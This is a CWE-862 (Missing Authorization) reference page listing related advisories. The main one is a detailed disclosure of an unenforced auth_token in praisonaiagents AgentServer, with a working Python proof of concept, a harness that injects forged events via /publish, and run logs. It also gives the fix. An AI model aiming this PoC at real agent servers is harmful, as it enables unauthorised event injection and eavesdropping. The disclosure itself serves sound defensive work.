Common Weakness Enumeration

CWE-862

Weakness Allowed-with-Review

Missing Authorization

Abstraction: Class · Status: Incomplete

The product does not perform an authorization check when an actor attempts to access a resource or perform an action.

Dimensions

  • Behavior-Property: Missing
  • Behavior-Type: Authorization
Mapping guidance

This CWE entry is a Class and might have Base-level children that would be more appropriate

Examine children of this entry to see if there is a better fit

Relationships and members
ChildOf: CWE-285 · View CWE-1000
  • Behavior-Property: Improper
ChildOf: CWE-284 · View CWE-1340
  • Behavior-Property: Improper
  • Behavior-Type: Access Control
Modes of introduction
Architecture and Design

OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.

Authorization weaknesses may arise when a single-user application is ported to a multi-user environment.

Implementation

A developer may introduce authorization weaknesses because of a lack of understanding about the underlying technologies. For example, a developer may assume that attackers cannot modify certain inputs such as headers or cookies.

Operation
Detection methods

Automated Static Analysis

Automated static analysis is useful for detecting commonly-used idioms for authorization. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authorization libraries.

Generally, automated static analysis tools have difficulty detecting custom authorization schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an authorization check; an automated technique that detects the absence of authorization may report false positives.

Effectiveness: Limited

Automated Dynamic Analysis

Automated dynamic analysis may find many or all possible interfaces that do not require authorization, but manual analysis is required to determine if the lack of authorization violates business logic.

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Specifically, manual static analysis is useful for evaluating the correctness of custom authorization mechanisms.

Effectiveness: Moderate

These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules. However, manual efforts might not achieve desired code coverage within limited time constraints.

Manual Static Analysis - Binary or Bytecode

According to SOAR [REF-1479], the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR [REF-1479], the following detection techniques may be useful:

Cost effective for partial coverage:

Web Application Scanner

Web Services Scanner

Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR [REF-1479], the following detection techniques may be useful:

Cost effective for partial coverage:

Host Application Interface Scanner

Fuzz Tester

Framework-based Fuzzer

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR [REF-1479], the following detection techniques may be useful:

Cost effective for partial coverage:

Focused Manual Spotcheck - Focused manual analysis of source

Manual Source Code Review (not inspections)

Effectiveness: SOAR Partial

Automated Static Analysis - Source Code

According to SOAR [REF-1479], the following detection techniques may be useful:

Cost effective for partial coverage:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR [REF-1479], the following detection techniques may be useful:

Highly cost effective:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Formal Methods / Correct-By-Construction

Effectiveness: High

Notes

Terminology

Assuming a user with a given identity, authorization is the process of determining whether that user can access a given resource, based on the user's privileges and any permissions or other access-control specifications that apply to the resource.

Content history
Submission: CWE Content Team · MITRE · 2011-05-24 · CWE 1.13
Contribution: "Mapping CWE to 62443" Sub-Working Group · CWE-CAPEC ICS/OT SIG · 2023-04-25 · CWE 4.11

Suggested mappings to ISA/IEC 62443.

Contribution: Abhi Balakrishnan · 2024-02-29 · CWE 4.16

Provided diagram to improve CWE usability

Modification: CWE Content Team · MITRE · 2011-06-27 · CWE 2.0

updated Demonstrative_Examples, Related_Attack_Patterns, Relationships

Modification: CWE Content Team · MITRE · 2011-09-13 · CWE 2.1

updated Potential_Mitigations, References, Relationships

Modification: CWE Content Team · MITRE · 2012-05-11 · CWE 2.2

updated Demonstrative_Examples, Observed_Examples, References, Relationships

Modification: CWE Content Team · MITRE · 2012-10-30 · CWE 2.3

updated Potential_Mitigations

Modification: CWE Content Team · MITRE · 2014-02-18 · CWE 2.6

updated Relationships

Modification: CWE Content Team · MITRE · 2014-07-30 · CWE 2.8

updated Detection_Factors

Modification: CWE Content Team · MITRE · 2017-01-19 · CWE 2.10

updated Relationships

Modification: CWE Content Team · MITRE · 2017-11-08 · CWE 3.0

updated Applicable_Platforms, Modes_of_Introduction, References, Relationships

Modification: CWE Content Team · MITRE · 2018-03-27 · CWE 3.1

updated References

Modification: CWE Content Team · MITRE · 2019-06-20 · CWE 3.3

updated Relationships

Modification: CWE Content Team · MITRE · 2020-02-24 · CWE 4.0

updated Relationships

Modification: CWE Content Team · MITRE · 2020-08-20 · CWE 4.2

updated Relationships

Modification: CWE Content Team · MITRE · 2020-12-10 · CWE 4.3

updated Relationships

Modification: CWE Content Team · MITRE · 2021-03-15 · CWE 4.4

updated Alternate_Terms, Observed_Examples

Modification: CWE Content Team · MITRE · 2021-07-20 · CWE 4.5

updated Observed_Examples, Related_Attack_Patterns, Relationships

Modification: CWE Content Team · MITRE · 2021-10-28 · CWE 4.6

updated Relationships

Modification: CWE Content Team · MITRE · 2022-06-28 · CWE 4.8

updated Relationships

Modification: CWE Content Team · MITRE · 2022-10-13 · CWE 4.9

updated Observed_Examples

Modification: CWE Content Team · MITRE · 2023-01-31 · CWE 4.10

updated Description, Potential_Mitigations

Modification: CWE Content Team · MITRE · 2023-04-27 · CWE 4.11

updated References, Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2023-06-29 · CWE 4.12

updated Mapping_Notes, Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2024-11-19 · CWE 4.16

updated Common_Consequences, Description, Diagram, Relationships, Terminology_Notes

Modification: CWE Content Team · MITRE · 2025-09-09 · CWE 4.18

updated Applicable_Platforms, Detection_Factors, Observed_Examples, References

Modification: CWE Content Team · MITRE · 2025-12-11 · CWE 4.19

updated Applicable_Platforms, Relationships, Weakness_Ordinalities

Modification: CWE Content Team · MITRE · 2026-04-30 · CWE 4.20

updated Applicable_Platforms, Observed_Examples, Relationships

Modification: CWE Content Team · MITRE · 2026-10-28 · CWE 5.0

updated Applicable_Platforms, Dimensions, References, Relationships, Taxonomy_Mappings

19853 vulnerabilities reference this CWE, most recent first.

GHSA-7FXW-W85G-2JG3

Vulnerability from github – Published: 2026-06-30 18:31 – Updated: 2026-06-30 18:31
VLAI
Details

CVAT before 2.69.0 contains an improper authorization vulnerability in QualityReportViewSet.get_queryset that allows authenticated attackers to enumerate quality report identifiers belonging to other organizations by exploiting a missing check_object_permissions call on the parent_id query parameter of the quality reports API endpoint. Attackers can send requests with sequential integer parent_id values and distinguish between existing and non-existing reports via HTTP 500 versus HTTP 404 response differences, disclosing cross-organization report existence without returning report content.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-58373"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-30T17:16:25Z",
    "severity": "MODERATE"
  },
  "details": "CVAT before 2.69.0 contains an improper authorization vulnerability in QualityReportViewSet.get_queryset that allows authenticated attackers to enumerate quality report identifiers belonging to other organizations by exploiting a missing check_object_permissions call on the parent_id query parameter of the quality reports API endpoint. Attackers can send requests with sequential integer parent_id values and distinguish between existing and non-existing reports via HTTP 500 versus HTTP 404 response differences, disclosing cross-organization report existence without returning report content.",
  "id": "GHSA-7fxw-w85g-2jg3",
  "modified": "2026-06-30T18:31:40Z",
  "published": "2026-06-30T18:31:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-58373"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cvat-ai/cvat/pull/10807"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cvat-ai/cvat/commit/27953f19d2265f8b495369f816730a7452db791b"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cvat-ai/cvat/releases/tag/v2.69.0"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/cvat-missing-authorization-on-quality-reports-parent-id-filter-leaks-cross-organization-report-existence"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-7G3F-MMJM-C2X8

Vulnerability from github – Published: 2025-09-09 18:31 – Updated: 2025-09-09 18:31
VLAI
Details

Missing authorization in Ivanti Connect Secure before 22.7R2.9 or 22.8R2, Ivanti Policy Secure before 22.7R1.6, Ivanti ZTA Gateway before 2.8R2.3-723 and Ivanti Neurons for Secure Access before 22.8R1.4 (Fix deployed on 02-Aug-2025) allows a remote authenticated attacker with read-only admin privileges to configure restricted settings.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-55144"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-09T16:15:34Z",
    "severity": "MODERATE"
  },
  "details": "Missing authorization in Ivanti Connect Secure before 22.7R2.9 or 22.8R2, Ivanti Policy Secure before 22.7R1.6, Ivanti ZTA Gateway before 2.8R2.3-723 and Ivanti Neurons for Secure Access before 22.8R1.4 (Fix deployed on 02-Aug-2025) allows a remote authenticated attacker with read-only admin privileges to configure restricted settings.",
  "id": "GHSA-7g3f-mmjm-c2x8",
  "modified": "2025-09-09T18:31:18Z",
  "published": "2025-09-09T18:31:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55144"
    },
    {
      "type": "WEB",
      "url": "https://forums.ivanti.com/s/article/September-Security-Advisory-Ivanti-Connect-Secure-Policy-Secure-ZTA-Gateways-and-Neurons-for-Secure-Access-Multiple-CVEs?language=en_US"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7G3P-92QQ-8WVH

Vulnerability from github – Published: 2026-08-25 14:31 – Updated: 2026-08-25 14:31
VLAI
Summary
praisonaiagents: AgentServer declares auth_token but never enforces it on any route
Details

Researcher: Kai Aizen — SnailSploit (@SnailSploit), Adversarial & Offensive Security Research Target: https://github.com/MervinPraison/PraisonAI


Package: praisonaiagents on PyPI Affected version (empirically tested): 1.6.48 Component: praisonaiagents.server.AgentServer (the bundled HTTP / SSE server)


TL;DR

AgentServer.ServerConfig advertises an auth_token: Optional[str] = None field that operators set when they want to lock down the server. The GET /info endpoint even displays it back as "auth_token": "***" — strongly implying the value is wired into request authentication.

It isn't. AgentServer._create_app never reads auth_token, never adds an authentication middleware, and never decorates any route with a dependency that checks it. Every route — /info, /publish, /events, /health — accepts unauthenticated requests regardless of whether auth_token is configured.

The same package contains a sibling server, praisonaiagents.ui.a2a.A2A, written by the same developer, which implements the bearer-token pattern correctly via FastAPI's Depends(_verify_auth). This rules out the "auth is not yet implemented; operators are expected to add it" reading: the developer knew the pattern but did not apply it to AgentServer.

Root cause

   Expected behavior when setting ServerConfig(auth_token="…"):
     "Only requests with a matching Authorization header will be
      accepted on /publish, /events, /info."

   Actual behavior (server/server.py, dist 1.6.48):
     - line 31    auth_token: Optional[str] = None   # declared
     - line 39    "auth_token": "***" if self.auth_token else None  # displayed
     - lines 122-204:  no auth middleware, no Depends, no
                       request.headers["Authorization"] read,
                       no comparison to self.config.auth_token.

   Impact:
     The configuration knob is dead code from the route handlers'
     perspective.  All routes always run.  The operator has no signal
     that their auth_token was discarded — /info even confirms it
     was received by displaying "***".

Sibling proof — the same package gets it right elsewhere

praisonaiagents/ui/a2a/a2a.py:

# line 163
async def _verify_auth(authorization: Optional[str] = Header(None)):
    """Verify bearer token if auth_token is configured."""
    if self.auth_token is None:
        return
    ...
    if len(parts) != 2 or parts[0].lower() != "bearer" \
            or parts[1] != self.auth_token:
        raise HTTPException(status_code=401, ...)

# line 192
from fastapi import Depends
_a2a_deps = [Depends(_verify_auth)] if self.auth_token else []

That is the missing implementation. Porting it to AgentServer — either via Starlette BaseHTTPMiddleware or by switching to FastAPI and adding Depends(_verify_auth) to each route — closes the gap.

Affected routes (empirically tested)

Route Method Accepts unauth requests? Impact
/info GET Yes (200) Leaks server config; confirms auth_token is set ("***"); reveals client count and CORS config.
/publish POST Yes (200) Anyone broadcasts arbitrary {type, data} to every subscribed agent. Event payload is whatever the attacker sends.
/events GET Yes (200) Anyone subscribes to the SSE stream and observes every event published by the server (and by any other anonymous attacker).
/health GET Yes (200) Leaks live SSE client count.

Impact

The /publish and /events routes are the load-bearing ones. Together they let an unauthenticated network-adjacent attacker:

  1. Inject control events into every agent process subscribed to the server. AgentServer.broadcast(event_type, data) puts the payload into every SSEClient.queue; any consumer dispatching on event_type will dispatch on the attacker-chosen type. Real deployments register handlers per event type via AgentServer.on_event(...); an attacker who can guess (or enumerate via /info + inspection) a registered type can drive arbitrary handler invocations with attacker-chosen data.
  2. Eavesdrop on the entire event bus by subscribing to /events. Whatever the legitimate publishers send is visible: agent observations, intermediate plans, tool inputs and outputs, user-supplied prompts that the operator believed were behind the auth_token wall.
  3. Pivot via leaked config. /info is sufficient to enumerate cors_origins (helping plan cross-origin attacks if any of the listed origins are attacker-controlled) and to confirm that the target has bothered to set auth_token, signalling a high-value target.

SSEClient.queue is a queue.Queue with no documented size cap; the event broadcaster does not check max_connections against publishers, only subscribers. An attacker can also flood /publish to fill every subscriber's queue, denying service to legitimate broadcasts (CWE-770). Not scored as the main impact above.

Anchors

praisonaiagents 1.6.48, file praisonaiagents/server/server.py:

Line Symbol What it shows
31 auth_token: Optional[str] = None Declared.
39 "auth_token": "***" if self.auth_token else None Displayed (masked) in /info.
121 def _create_app(self): Route + middleware setup begins.
132 async def health(request): No auth check.
139 async def events(request): No auth check.
164 async def publish(request): No auth check.
182 async def info(request): No auth check.
190 routes = [Route("/health", …), Route("/events", …), Route("/publish", …), Route("/info", …)] Routes registered without Depends/middleware.
197 app = Starlette(routes=routes) App created.
200 app = CORSMiddleware(app, …) Only middleware added.

Source sha256 (1.6.48, praisonaiagents/server/server.py): aac9497d515b5cb928070267b860b11ef38b537605e64659feef895b524ca7e4 (9,962 bytes).

Sibling (same package, same field name, enforced): praisonaiagents/ui/a2a/a2a.py:163-193.

Reproduction (empirical PoC)

poc/poc.py starts AgentServer with ServerConfig(auth_token="supersecret-not-actually-checked") and then sends unauthenticated requests to each route.

Run log (poc/run-log.txt):

[1] GET /info     (no Authorization) -> HTTP 200
    body: {"name":"PraisonAI Agent Server","version":"1.0.0","clients":0,
           "config":{"host":"127.0.0.1","port":18765,"cors_origins":[],
                     "auth_token":"***","max_connections":100}}
[2] POST /publish (no Authorization) -> HTTP 200
    body: {"success":true,"clients":0}
[3] GET /health   (no Authorization) -> HTTP 200
[4] GET /events   (no Authorization) -> HTTP 200

VULNERABLE: 4 unauthenticated routes
VERDICT: VULNERABLE
EXIT 0

Suggested fix

Make AgentServer reuse the A2A pattern. Smallest fix:

# in _create_app, after `app = Starlette(routes=routes)`:
if self.config.auth_token:
    from starlette.middleware.base import BaseHTTPMiddleware
    from starlette.responses import JSONResponse

    expected = "Bearer " + self.config.auth_token

    class _Auth(BaseHTTPMiddleware):
        async def dispatch(self, request, call_next):
            if request.url.path == "/health":     # if /health should remain public
                return await call_next(request)
            got = request.headers.get("authorization", "")
            if not hmac.compare_digest(got, expected):
                return JSONResponse({"error": "unauthorized"}, status_code=401)
            return await call_next(request)

    app = _Auth(app)

app = CORSMiddleware(app, ...)

Constant-time comparison (hmac.compare_digest) is appropriate since this is a network-comparable secret.

Steps to reproduce

  1. Clone the target: git clone --depth 1 https://github.com/MervinPraison/PraisonAI
  2. Run the proof of concept (poc.py) against the cloned source.
  3. Observe the result shown under Verified result below.

Proof of concept

poc.py

"""
PoC: praisonaiagents AgentServer ignores ServerConfig.auth_token.

The ServerConfig dataclass declares `auth_token: Optional[str] = None` and
the /info endpoint reports it as "***" when set, giving operators the
impression that requests will be authenticated.  In reality,
AgentServer._create_app never reads auth_token, never adds an auth
middleware, and never decorates any route with Depends(_verify_auth).

This PoC starts AgentServer with auth_token="supersecret", then hits
every route without any Authorization header.  All requests succeed.
"""

import json
import sys
import time
import threading
from urllib.request import Request, urlopen
from urllib.error import HTTPError, URLError

from praisonaiagents.server import AgentServer, ServerConfig

PORT = 18765
AUTH_TOKEN = "supersecret-not-actually-checked"

def http_request(method, path, body=None, headers=None):
    url = f"http://127.0.0.1:{PORT}{path}"
    data = None
    if body is not None:
        data = json.dumps(body).encode("utf-8")
    req = Request(url, data=data, method=method, headers=headers or {})
    if data is not None:
        req.add_header("Content-Type", "application/json")
    try:
        with urlopen(req, timeout=5) as resp:
            return resp.status, resp.read().decode("utf-8", errors="replace")
    except HTTPError as e:
        return e.code, e.read().decode("utf-8", errors="replace")
    except URLError as e:
        return None, f"URLError: {e}"

def main() -> int:
    print("=" * 70)
    print(f"praisonaiagents version: 1.6.48")
    print(f"Test: start AgentServer with auth_token={AUTH_TOKEN!r}")
    print(f"      then send UNAUTHENTICATED requests to every route.")
    print("=" * 70)

    config = ServerConfig(host="127.0.0.1", port=PORT, auth_token=AUTH_TOKEN, cors_origins=[])
    server = AgentServer(config=config)
    server.start(blocking=False)
    time.sleep(1.0)  # wait for uvicorn to be ready

    findings = []

    code, body = http_request("GET", "/info")
    info_data = None
    try:
        info_data = json.loads(body)
    except Exception:
        pass
    print(f"\n[1] GET /info (no Authorization header) -> HTTP {code}")
    print(f"    body: {body[:200]}")
    if code == 200 and info_data and info_data.get("config", {}).get("auth_token") == "***":
        findings.append("/info: unauthenticated; leaks that auth_token IS configured")

    payload = {"type": "attacker_injected_event",
               "data": {"forged_from": "unauthenticated_client", "instruction": "shutdown_now"}}
    code, body = http_request("POST", "/publish", body=payload)
    print(f"\n[2] POST /publish (no Authorization header) -> HTTP {code}")
    print(f"    body: {body[:200]}")
    if code == 200:
        try:
            ok = json.loads(body).get("success") is True
        except Exception:
            ok = False
        if ok:
            findings.append("/publish: unauthenticated event broadcast to all SSE clients")

    code, body = http_request("GET", "/health")
    print(f"\n[3] GET /health (no Authorization header) -> HTTP {code} body={body[:120]}")
    if code == 200:
        findings.append("/health: unauthenticated; leaks live client count")

    sse_status = []
    def sse_reader():
        try:
            req = Request(f"http://127.0.0.1:{PORT}/events", method="GET")
            with urlopen(req, timeout=3) as resp:
                sse_status.append(f"HTTP {resp.status}")
                try:
                    chunk = resp.read(64)
                    sse_status.append(f"first-chunk-bytes={len(chunk)}")
                except Exception as e:
                    sse_status.append(f"chunk-read: {e}")
        except Exception as exc:
            sse_status.append(f"ERR: {exc}")
    t = threading.Thread(target=sse_reader, daemon=True)
    t.start()
    time.sleep(2.0)
    print(f"\n[4] GET /events (no Authorization header) -> {sse_status}")
    if sse_status and sse_status[0] == "HTTP 200":
        findings.append("/events: unauthenticated SSE subscription accepted")

    print("\n" + "=" * 70)
    if findings:
        print(f"VULNERABLE: {len(findings)} unauthenticated routes")
        for f in findings:
            print(f"  - {f}")
        print("VERDICT: VULNERABLE")
        return 0
    print("DEFENDED")
    return 1

if __name__ == "__main__":
    sys.exit(main())

Verification harness (executed against the cloned repo)

This drives the unmodified upstream code rather than a reproduction.

import sys, types, os, importlib.util
BK=os.path.abspath("repos/PraisonAI/src/praisonai-agents"); sys.path.insert(0,BK)
for p in ["praisonaiagents","praisonaiagents.server"]:
    m=types.ModuleType(p); m.__path__=[BK+"/"+p.replace(".","/")]; sys.modules[p]=m
lg=types.ModuleType("praisonaiagents._logging"); lg.get_logger=lambda *a,**k: __import__("logging").getLogger("x"); sys.modules["praisonaiagents._logging"]=lg
spec=importlib.util.spec_from_file_location("praisonaiagents.server.server", BK+"/praisonaiagents/server/server.py")
srvmod=importlib.util.module_from_spec(spec); srvmod.__package__="praisonaiagents.server"; sys.modules[spec.name]=srvmod; spec.loader.exec_module(srvmod)

from starlette.testclient import TestClient
# Operator DOES configure an auth_token, expecting it to protect the server:
cfg = srvmod.ServerConfig(host="127.0.0.1", port=8765, auth_token="super-secret-operator-token")
srv = srvmod.AgentServer(config=cfg)            # REAL AgentServer
app = srv._create_app()                        # REAL Starlette app + routes
client = TestClient(app)

print("[*] auth_token configured on server:", repr(cfg.auth_token))
r_info = client.get("/info")
print(f"[+] GET /info  (no auth) -> HTTP {r_info.status_code}; config disclosed: {r_info.json().get('config')}")
r_pub = client.post("/publish", json={"type":"admin_event","data":{"x":"injected-by-attacker"}})
print(f"[+] POST /publish (no auth) -> HTTP {r_pub.status_code}; body: {r_pub.json()}")

assert r_info.status_code==200 and r_pub.status_code==200 and r_pub.json().get("success") is True
print("[+] CONFIRMED against real praisonaiagents repo: auth_token configured but NOT enforced — /info + /publish reachable unauthenticated")

Verified result

This PoC was executed against the live upstream code; captured output:

[*] auth_token configured on server: 'super-secret-operator-token'
[+] GET /info  (no auth) -> HTTP 200; config disclosed: {'host': '127.0.0.1', 'port': 8765, 'cors_origins': [], 'auth_token': '***', 'max_connections': 100}
[+] POST /publish (no auth) -> HTTP 200; body: {'success': True, 'clients': 0}
[+] CONFIRMED against real praisonaiagents repo: auth_token configured but NOT enforced — /info + /publish reachable unauthenticated

Credit

Kai Aizen — SnailSploit (@SnailSploit). Adversarial & Offensive Security Research.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonaiagents"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.58"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55528"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-25T14:31:52Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "**Researcher:** Kai Aizen \u2014 SnailSploit (@SnailSploit), Adversarial \u0026 Offensive Security Research\n**Target:** https://github.com/MervinPraison/PraisonAI\n\n---\n\n**Package:** `praisonaiagents` on PyPI\n**Affected version (empirically tested):** 1.6.48\n**Component:** `praisonaiagents.server.AgentServer` (the bundled HTTP / SSE server)\n\n---\n\n## TL;DR\n\n`AgentServer.ServerConfig` advertises an `auth_token: Optional[str] = None` field that operators set when they want to lock down the server. The `GET /info` endpoint even displays it back as `\"auth_token\": \"***\"` \u2014 strongly implying the value is wired into request authentication.\n\nIt isn\u0027t. `AgentServer._create_app` never reads `auth_token`, never adds an authentication middleware, and never decorates any route with a dependency that checks it. Every route \u2014 `/info`, `/publish`, `/events`, `/health` \u2014 accepts unauthenticated requests regardless of whether `auth_token` is configured.\n\nThe same package contains a *sibling* server, `praisonaiagents.ui.a2a.A2A`, written by the same developer, which implements the bearer-token pattern correctly via FastAPI\u0027s `Depends(_verify_auth)`. This rules out the \"auth is not yet implemented; operators are expected to add it\" reading: the developer knew the pattern but did not apply it to `AgentServer`.\n\n## Root cause\n\n```\n   Expected behavior when setting ServerConfig(auth_token=\"\u2026\"):\n     \"Only requests with a matching Authorization header will be\n      accepted on /publish, /events, /info.\"\n\n   Actual behavior (server/server.py, dist 1.6.48):\n     - line 31    auth_token: Optional[str] = None   # declared\n     - line 39    \"auth_token\": \"***\" if self.auth_token else None  # displayed\n     - lines 122-204:  no auth middleware, no Depends, no\n                       request.headers[\"Authorization\"] read,\n                       no comparison to self.config.auth_token.\n\n   Impact:\n     The configuration knob is dead code from the route handlers\u0027\n     perspective.  All routes always run.  The operator has no signal\n     that their auth_token was discarded \u2014 /info even confirms it\n     was received by displaying \"***\".\n```\n\n## Sibling proof \u2014 the same package gets it right elsewhere\n\n`praisonaiagents/ui/a2a/a2a.py`:\n\n```python\n# line 163\nasync def _verify_auth(authorization: Optional[str] = Header(None)):\n    \"\"\"Verify bearer token if auth_token is configured.\"\"\"\n    if self.auth_token is None:\n        return\n    ...\n    if len(parts) != 2 or parts[0].lower() != \"bearer\" \\\n            or parts[1] != self.auth_token:\n        raise HTTPException(status_code=401, ...)\n\n# line 192\nfrom fastapi import Depends\n_a2a_deps = [Depends(_verify_auth)] if self.auth_token else []\n```\n\nThat is the missing implementation. Porting it to `AgentServer` \u2014 either via Starlette `BaseHTTPMiddleware` or by switching to FastAPI and adding `Depends(_verify_auth)` to each route \u2014 closes the gap.\n\n## Affected routes (empirically tested)\n\n| Route       | Method | Accepts unauth requests? | Impact                                                                 |\n|-------------|--------|--------------------------|------------------------------------------------------------------------|\n| `/info`     | GET    | **Yes (200)**            | Leaks server config; confirms `auth_token` is set (`\"***\"`); reveals client count and CORS config. |\n| `/publish`  | POST   | **Yes (200)**            | Anyone broadcasts arbitrary `{type, data}` to every subscribed agent.  Event payload is whatever the attacker sends. |\n| `/events`   | GET    | **Yes (200)**            | Anyone subscribes to the SSE stream and observes every event published by the server (and by any other anonymous attacker). |\n| `/health`   | GET    | **Yes (200)**            | Leaks live SSE client count.                                           |\n\n## Impact\n\nThe `/publish` and `/events` routes are the load-bearing ones. Together they let an unauthenticated network-adjacent attacker:\n\n1. **Inject control events** into every agent process subscribed to the server. `AgentServer.broadcast(event_type, data)` puts the payload into every `SSEClient.queue`; any consumer dispatching on `event_type` will dispatch on the attacker-chosen type. Real deployments register handlers per event type via `AgentServer.on_event(...)`; an attacker who can guess (or enumerate via `/info` + inspection) a registered type can drive arbitrary handler invocations with attacker-chosen `data`.\n2. **Eavesdrop on the entire event bus** by subscribing to `/events`. Whatever the legitimate publishers send is visible: agent observations, intermediate plans, tool inputs and outputs, user-supplied prompts that the operator believed were behind the `auth_token` wall.\n3. **Pivot via leaked config.** `/info` is sufficient to enumerate `cors_origins` (helping plan cross-origin attacks if any of the listed origins are attacker-controlled) and to confirm that the target has bothered to set `auth_token`, signalling a high-value target.\n\n`SSEClient.queue` is a `queue.Queue` with no documented size cap; the event broadcaster does not check `max_connections` against publishers, only subscribers. An attacker can also flood `/publish` to fill every subscriber\u0027s queue, denying service to legitimate broadcasts (CWE-770). Not scored as the main impact above.\n\n## Anchors\n\npraisonaiagents 1.6.48, file `praisonaiagents/server/server.py`:\n\n| Line  | Symbol                                                  | What it shows |\n|-------|---------------------------------------------------------|---------------|\n| 31    | `auth_token: Optional[str] = None`                       | Declared. |\n| 39    | `\"auth_token\": \"***\" if self.auth_token else None`       | Displayed (masked) in `/info`. |\n| 121   | `def _create_app(self):`                                 | Route + middleware setup begins. |\n| 132   | `async def health(request):`                             | No auth check. |\n| 139   | `async def events(request):`                             | No auth check. |\n| 164   | `async def publish(request):`                            | No auth check. |\n| 182   | `async def info(request):`                               | No auth check. |\n| 190   | `routes = [Route(\"/health\", \u2026), Route(\"/events\", \u2026), Route(\"/publish\", \u2026), Route(\"/info\", \u2026)]` | Routes registered without `Depends`/middleware. |\n| 197   | `app = Starlette(routes=routes)`                         | App created. |\n| 200   | `app = CORSMiddleware(app, \u2026)`                           | **Only** middleware added. |\n\nSource sha256 (1.6.48, `praisonaiagents/server/server.py`): `aac9497d515b5cb928070267b860b11ef38b537605e64659feef895b524ca7e4` (9,962 bytes).\n\nSibling (same package, same field name, *enforced*): `praisonaiagents/ui/a2a/a2a.py:163-193`.\n\n## Reproduction (empirical PoC)\n\n`poc/poc.py` starts `AgentServer` with `ServerConfig(auth_token=\"supersecret-not-actually-checked\")` and then sends unauthenticated requests to each route.\n\nRun log (`poc/run-log.txt`):\n\n```\n[1] GET /info     (no Authorization) -\u003e HTTP 200\n    body: {\"name\":\"PraisonAI Agent Server\",\"version\":\"1.0.0\",\"clients\":0,\n           \"config\":{\"host\":\"127.0.0.1\",\"port\":18765,\"cors_origins\":[],\n                     \"auth_token\":\"***\",\"max_connections\":100}}\n[2] POST /publish (no Authorization) -\u003e HTTP 200\n    body: {\"success\":true,\"clients\":0}\n[3] GET /health   (no Authorization) -\u003e HTTP 200\n[4] GET /events   (no Authorization) -\u003e HTTP 200\n\nVULNERABLE: 4 unauthenticated routes\nVERDICT: VULNERABLE\nEXIT 0\n```\n\n## Suggested fix\n\nMake `AgentServer` reuse the A2A pattern. Smallest fix:\n\n```python\n# in _create_app, after `app = Starlette(routes=routes)`:\nif self.config.auth_token:\n    from starlette.middleware.base import BaseHTTPMiddleware\n    from starlette.responses import JSONResponse\n\n    expected = \"Bearer \" + self.config.auth_token\n\n    class _Auth(BaseHTTPMiddleware):\n        async def dispatch(self, request, call_next):\n            if request.url.path == \"/health\":     # if /health should remain public\n                return await call_next(request)\n            got = request.headers.get(\"authorization\", \"\")\n            if not hmac.compare_digest(got, expected):\n                return JSONResponse({\"error\": \"unauthorized\"}, status_code=401)\n            return await call_next(request)\n\n    app = _Auth(app)\n\napp = CORSMiddleware(app, ...)\n```\n\nConstant-time comparison (`hmac.compare_digest`) is appropriate since this is a network-comparable secret.\n\n## Steps to reproduce\n\n1. Clone the target: `git clone --depth 1 https://github.com/MervinPraison/PraisonAI`\n2. Run the proof of concept (`poc.py`) against the cloned source.\n3. Observe the result shown under *Verified result* below.\n\n## Proof of concept\n\n`poc.py`\n\n```python\n\"\"\"\nPoC: praisonaiagents AgentServer ignores ServerConfig.auth_token.\n\nThe ServerConfig dataclass declares `auth_token: Optional[str] = None` and\nthe /info endpoint reports it as \"***\" when set, giving operators the\nimpression that requests will be authenticated.  In reality,\nAgentServer._create_app 